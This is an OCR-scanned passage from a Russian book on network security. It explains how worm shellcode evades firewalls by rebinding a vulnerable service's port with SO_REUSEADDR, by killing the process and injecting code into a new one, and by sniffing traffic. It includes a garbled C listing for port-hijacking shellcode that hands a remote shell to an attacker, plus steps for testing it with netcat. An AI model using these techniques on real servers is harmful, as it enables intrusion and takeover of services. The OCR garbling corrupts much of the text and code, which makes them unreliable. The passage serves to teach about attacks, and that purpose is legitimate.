Раздел: Документация
0 ... 56 57 58 59 60 61 62 ... 102 устанавливаем соединение с удаленным узлом 185 разветвленных сетевых приложений с сильно развитой иерархической структурой оказалось бы чрезвычайно затрудненным (кто программировал собственные серверы, тот поймет,ну а кто не программировал, просто не в состоянии представить, чего он избежал). Коротко говоря: делать bind науже открытый порт может только владелец этого порта (то есть процесс, открывший данный порт, или один из его потомков, унаследовавших дескриптор соответствующего сокета), да и то лишь при том условии, что сокет не имеет флага эксклюзивности (SOEXCLUSIVEADDRUSE). Тогда, создав новый сокет и вызвав функцию setsockopt, присваивающую ему атрибут SOREUSEADDR, shell-код сможет сделать bi nd и 1 i sten, после чего все последующие подключения к атакованному серверу будут обрабатываться уже не самим сервером, а зловредным shell-кодом (рис. 5.7)! Buffer Overflow Attack vulnerable service Attacker Attacker connect vulnerable service again to get shell Shellcode rebinds cmd to same port Рис. 5.7. Атакующий засылает на уязвимый сервер shell-код, который делает re-bind на открытый публичный порт и перехватывает все последующие соединения (и соединения, устанавливаемые атакующим в том числе) Программная реализация данной атаки вполне тривиальна и отличается отэк-сшюита bind.c одной-единствешюй строкой: setsockopt( г socket. S0L S0CKET. S0 REUSEADDR. &n reuse, sizeof(n reuse)), присваивающей сокету атрибут SO-REUSEADDR. Однако вместо открытия порта с нестандартным номером данный К°Д захваты вает основной порт уязвимой службы, не вызывая никаких претен- 11У брандМаузера (листинг 5.4). Чисти шаг 1- Нг 5.4. Ключевой фрагмент shell-кода, осуществляющий re-bind открытого порта 11 , •f (, созяаем сокет //marS->Cket = socket(AF INET. SOCKJ-REAM. 0)) < 0) return -1: Й (Set "Рисваиваем атрибут SO REUSiADDR " mar .°ckopt(rsccket. SOLSOCKET . S0 REl REUSEADDR . &n reuse. 4)) return -1: radrjrСБЯЗЬваем сокет с локальным адресом Гв(3* sin У" AF-INET: rafldr s1"~POrt= htons(V PORT) f (blnd(radr"S-addr= !NAC0R ANY-- rs°cket.(struct sockaddr *) &raddr. sizeof(raddr))) return -1 // уязвимый порт Продолжение iP Листинг 5.4 (продолжение) II шаг 4: слушаем // при последующих подключениях к уязвимому порту управление получит // shell-код. а не код сервера, и этот порт будет обязательно открыт на // firewall, поскольку это порт "легальной" сетевой слумбы! if Cistentrsocket. OxD) return -1: // шаг 5: извлекаем сообщение из очереди csocket = accept!.rsocket. (struct sockaddr *) Sraddr. Sraddr size): // шаг 6: обмениваемся командами с сокетом sshelK(SOCKET) csocket. MAX BUF SIZE): // шаг 7 - подчищаем за собой следы closesocket(rsocket): closesocket(csocket): Откомпилировав демонстрационный пример reuse.c, запустите его на атакуемом узле, а на узле атакующего выполните следующую команду: netcat "адрес атакуемого" 80, соответствующую стадии засылки shell-кода на уязвимый сервер. Затем повторите попытку подключения вновь, и если все пройдет успению, на экране терминала появится уже знакомое приглашение командного интерпретатора, подтверждающее, что подключение обработано отнюдь не прежним владельцем порта, а головой червя или shell-кодом. Убедитесь, что брандмаузер, независимо от его конфигурации, не видит в этой ситуации ничего странного и никак не препятствует несанкционированному захвату подключений. ПРИМЕЧАНИЕ- Под Windows 2000 SP3 этот прием иногда не срабатывает — система, нахально проигнорировав захват порта, продолжает обрабатывать входящие подключения его прежним владельцем. Как ведут себя остальные системы — не знаю, не проверял, однако это явная ошибка, и она должна быть исправлена в следующих осях. В любом случае, если такое произошло, повторяйте засылку sheH-кода вновь и вновь — до тех пор, пока вам не повезет. FORK EXPLOIT, ИЛИ БРАНДМАУЗЕР ПРОДОЛЖАЕТ МОЛЧАТЬ Атрибут эксклюзивности не присваивается сокетам по умолчанию, и о его cv ществовании догадываются далеко не все разработчики серверных "Р"10, ний, однако если под натиском червей уязвимые сервера начнут сыпаться о, за другим, разработчики могут пересмотреть свое отношение к безопасн и воспрепятствовать несанкционированному захвату открытых портов. На . пят ли после этого для червей мрачные времена? Да как бы не так! Голова червя просто «прибьет» уязвимый процесс вмесТСаГ всеми его дескрипторами (при закрытии процесса все открытые им 110Ртьс1С томатически освобождаются), перебрасывая свое тело в новый процесс, чего червь сделает bi nd только что открытому порту, получая в свое распор ние все входящие соединения. ---- ~С£й \ .рМ соединение с удаленным узлом187 eamjgei-- У с11СТемах есть замечательный системный вызов fork, расщепляющий В (.j „роцесс и автоматически раздваивающий червя. В Windows 9x/NT те1 -твить такую операцию намного сложнее, однако не настолько сложно, 0cyiUct кажется на первый взгляд. Один из возможных способов реализации КйК чит приблизительно так: сначала вызывается функция CreateProcess ВЬ J новленным флажком REATESUSPENDED (создание процесса с его немедлен- С "м «усыплением»), затем из процесса выдирается текущий контекст (этоосу- НЬствляется вызовом функции GetThreadContext) и значение регистра EIP уста- U-C тивается на начало блока памяти, выделенного функцией VirtualАПосЕх. о ,пк setThreadContext обновляет содержимое контекста, а функция Вызов -J WriteProcessMemory внедряет в адресное пространство процесса shell-код, после чеГ011рОЦесс пробуждается, «разбуженный» функцией ResumeThread, и shell-код начинает свое выполнение (рис. 5.8). Против этого приема не существует никаких адекватных контрмер и противодействий, единственное, что можно порекомендовать — это избегать использования уязвимых приложений вообще. Buffer Overflow Attack vulnerable service Attacker connect vulnerable service again to get shell Process bind to same port рис. 5.8. Атакующий засылает на уязвимый сервер shell-код, «прибивающий» серверный процесс и открывающий публичный порт заново Differ exploit или пассивное сканирование При желании червь может перехваты ватт, весь трафик, проходящий через уязвимый узел, а не только тот, что адресован атакованному сервису. Такое пассив-Проелушиванис чрезвычайно трудно обнаружить, и из всех рассмотренных • и способов обхода брандмаузеров этот обеспечивает червю наивысшую LKPbITHOCTb. ствс>еТИ пУтешествУст огромное количество снифферов для UNIX, в болылин-BaHH°BOeM РаспРпстРанясмых в исходных текстах и неплохо прокомментиро-к к ЫХ Наиболее универсальный способ прослушивания трафика апеллирует "сс-платформснной библиотеке libcap, нортированной в том числе нпод "idovvs 95/98/ME/NT/200P/XP/CE (на сайте http://wincap.polito.it/install/ aut.htm можно найти и сам порт библиотеки, и Ьитрдля Windows — очень 0 ... 56 57 58 59 60 61 62 ... 102
|